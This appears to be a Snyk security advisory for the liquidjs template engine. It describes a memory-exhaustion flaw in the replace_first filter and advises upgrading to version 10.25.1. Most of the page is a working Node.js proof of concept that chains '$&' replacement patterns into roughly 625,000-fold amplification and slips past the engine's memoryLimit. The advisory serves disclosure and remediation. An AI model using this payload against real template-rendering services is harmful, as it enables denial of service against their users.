Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningUpgrade liquidjs to version 10.25.1 or higher.
liquidjs is an A simple, expressive, safe and Shopify compatible template engine in pure JavaScript.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the replace_first function. An attacker can exhaust system memory and disrupt service availability by crafting templates that exploit uncharged memory amplification using special replacement patterns, resulting in excessive memory allocation and blocking legitimate user requests.
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Verify $& expansion in replace_first
console.log('=== Step 1: $& expansion in replace_first ===');
const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
console.log('Result:', await engine.parseAndRender(step1));
// Output: "HELLO-HELLO-HELLO" — $& expanded to matched string
// Step 2 — Verify replace (split/join) is safe
console.log('\n=== Step 2: replace is safe ===');
const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
console.log('Result:', await engine.parseAndRender(step2));
// Output: "$&$&$&" — $& treated as literal
// Step 3 — 5-stage exponential amplification (50x per stage)
console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
const amp50 = '$&'.repeat(50);
const step3 = [
'{% assign s = "A" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{% assign s = s | replace_first: s, "' + amp50 + '" %}',
'{{ s | size }}'
].join('');
const startMem = process.memoryUsage().heapUsed;
const result = await engine.parseAndRender(step3);
const endMem = process.memoryUsage().heapUsed;
console.log('Output string size:', result.trim(), 'bytes'); // "312500000"
console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
console.log('memoryLimit charged: < 7 MB (only input lengths counted)');
})();